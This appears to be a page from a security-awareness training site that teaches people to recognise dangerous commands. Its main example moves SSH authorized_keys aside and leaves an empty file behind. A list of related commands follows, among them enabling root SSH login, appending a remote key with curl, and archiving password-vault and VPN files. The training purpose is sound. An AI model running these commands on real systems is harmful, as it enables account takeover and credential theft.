Dangerous
mv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keyslinux · bash · Intermediate
Moves the existing list of authorised keys aside and replaces it with an empty file. Every legitimate key stops working immediately, the copy is left readable in a shared directory, and the empty file is now ready for someone else's key.
Signals to notice
- Existing authorised keys removed
- Copy left in a world-writable directory
- Empty replacement file invites a new key
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedsed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpertGet-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipNightmare